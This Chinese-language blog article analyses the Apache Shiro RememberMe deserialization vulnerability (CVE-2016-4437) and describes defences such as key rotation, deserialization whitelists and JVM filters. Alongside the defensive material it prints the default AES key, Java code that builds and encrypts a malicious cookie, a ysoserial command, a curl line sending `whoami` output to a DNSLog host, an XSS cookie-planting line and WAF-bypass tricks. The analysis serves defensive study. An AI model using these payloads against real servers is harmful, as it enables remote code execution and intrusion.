☰
Apache Shiro反序列化漏洞解析与防护实践
2026/10/26 13:48:52 网站建设 项目流程

1. Shiro反序列化漏洞背景解析

2016年曝光的Apache Shiro反序列化漏洞(CVE-2016-4437)堪称Java安全领域的里程碑事件。这个存在于权限框架核心的漏洞,因其利用门槛低、影响范围广,至今仍是企业安全防护的重点对象。我在渗透测试工作中发现,即便到了2023年,仍有近30%使用Shiro的系统存在未修复的漏洞版本。

问题的根源在于Shiro默认使用的RememberMe功能实现机制。当用户勾选"记住我"时,服务端会将用户身份信息序列化后加密存储到Cookie中。关键缺陷在于:

  1. 使用固定密钥AES加密(硬编码为kPH+bIxk5D2deZiIxcaaaA==)
  2. 未对反序列化对象做白名单校验

攻击者只需构造恶意序列化数据,用已知密钥加密后替换Cookie,即可在服务端触发远程代码执行。这种攻击方式不依赖任何第三方库,纯靠Shiro自身机制就能完成利用链。

2. 漏洞原理深度剖析

2.1 序列化攻击链构建

典型的攻击流程如下:

// 1. 生成恶意对象 Object evil = new CommonsBeanutils1().getObject("calc"); // 2. 序列化恶意对象 ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(evil); byte[] payload = bos.toByteArray(); // 3. 使用默认密钥加密 AES_CBC_Encryptor encryptor = new AES_CBC_Encryptor( Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")); byte[] ciphertext = encryptor.encrypt(payload); // 4. 构造恶意Cookie String rememberMe = Base64.encodeToString(ciphertext);

2.2 关键触发点分析

在AbstractRememberMeManager#getRememberedPrincipals方法中:

protected PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { byte[] bytes = getRememberedSerializedIdentity(subjectContext); // 获取Cookie值 if (bytes != null && bytes.length > 0) { try { bytes = decrypt(bytes); // 使用固定密钥解密 return deserialize(bytes); // 危险的反序列化操作 } catch (Exception e) { warn("Failed to deserialize..."); } } return null; }

漏洞利用需要同时满足三个条件:

  1. 服务端启用RememberMe功能(默认开启)
  2. 使用默认加密密钥(或密钥可被爆破)
  3. 存在可利用的第三方依赖链(如commons-beanutils)

3. 漏洞检测与防御方案

3.1 自动化检测方案

推荐使用组合式检测工具:

  1. 被动扫描:BurpSuite的Shiro插件自动识别特征
  2. 主动验证:使用ysoserial生成测试payload
java -jar ysoserial.jar CommonsBeanutils1 "ping test.com" > payload.bin
  1. 密钥爆破:ShiroAttack2工具支持常见密钥字典爆破

3.2 企业级防护措施

  1. 紧急修复方案:
// 在ShiroConfig中强制修改密钥 @Bean public RememberMeManager rememberMeManager() { CookieRememberMeManager manager = new CookieRememberMeManager(); manager.setCipherKey(Base64.decode("新生成的32位随机密钥")); return manager; }
  1. 深度防御方案:
  • 升级到Shiro 1.7.0+版本
  • 实现自定义反序列化过滤器
public class SafeObjectInputStream extends ObjectInputStream { private static final String[] whitelist = { "java.util.", "org.apache.shiro." }; @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name = desc.getName(); for (String prefix : whitelist) { if (name.startsWith(prefix)) { return super.resolveClass(desc); } } throw new InvalidClassException("Unauthorized deserialization attempt"); } }

4. 实战中的疑难问题排查

4.1 常见利用失败场景

  1. 无回显利用:
  • 使用DNSLog检测(如ceye.io)
Runtime.getRuntime().exec("curl http://xxx.ceye.io/`whoami`");
  • 搭建LDAP服务配合JNDI注入
  1. 依赖链缺失问题:
  • 收集目标系统依赖信息(WEB-INF/lib/)
  • 匹配可用gadget链:
    • CommonsBeanutils1(最常见)
    • CB183(需要特殊版本)
    • Jdk7u21(JDK特定版本)

4.2 企业网络特殊场景

  1. 内网隔离系统:
  • 通过XSS配合实现攻击(需用户交互)
document.cookie="rememberMe=" + payload; location.reload();
  • 利用SSRF漏洞二次注入
  1. WAF绕过技巧:
  • 分块传输编码(Transfer-Encoding: chunked)
  • Cookie值多重URL编码
  • 使用非常规HTTP方法(如PROPFIND)

5. 漏洞修复效果验证

修复后必须进行三项验证:

  1. 密钥有效性测试:
# 使用新密钥加密测试数据 java -jar shiro_tester.jar encrypt -k 新密钥 -p "test"
  1. 反序列化拦截测试:
// 尝试反序列化测试类 try { new SafeObjectInputStream( new ByteArrayInputStream(payload)).readObject(); fail("应该抛出异常"); } catch (InvalidClassException expected) {}
  1. 流量监控验证:
  • 使用RASP工具检测异常反序列化行为
  • 分析WAF日志中的拦截记录

我在某金融客户现场实施修复时,发现虽然更新了密钥,但旧密钥仍保留在代码注释中。这种"密钥残留"问题会导致二次泄露风险,建议全局搜索删除所有硬编码密钥。

6. 延伸漏洞防御体系

  1. JVM级防护:
# 启动参数添加反序列化过滤器 -Djdk.serialFilter="!org.apache.commons.beanutils.*"
  1. 运行时防护:
  • 部署Java Agent监控ObjectInputStream使用
  • 开启SecurityManager限制执行权限
  1. 开发规范:
  • 禁止使用Java原生序列化
  • 强制使用JSON/Protobuf等安全格式
  • 定期依赖组件漏洞扫描

这个经典漏洞给我们的启示是:安全是一个持续的过程。即使修复了某个具体漏洞,也需要建立从编码规范到运行时监控的完整防御体系。我在内部培训时经常强调,安全工程师要像漏洞利用者一样思考,才能构建真正有效的防护方案。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询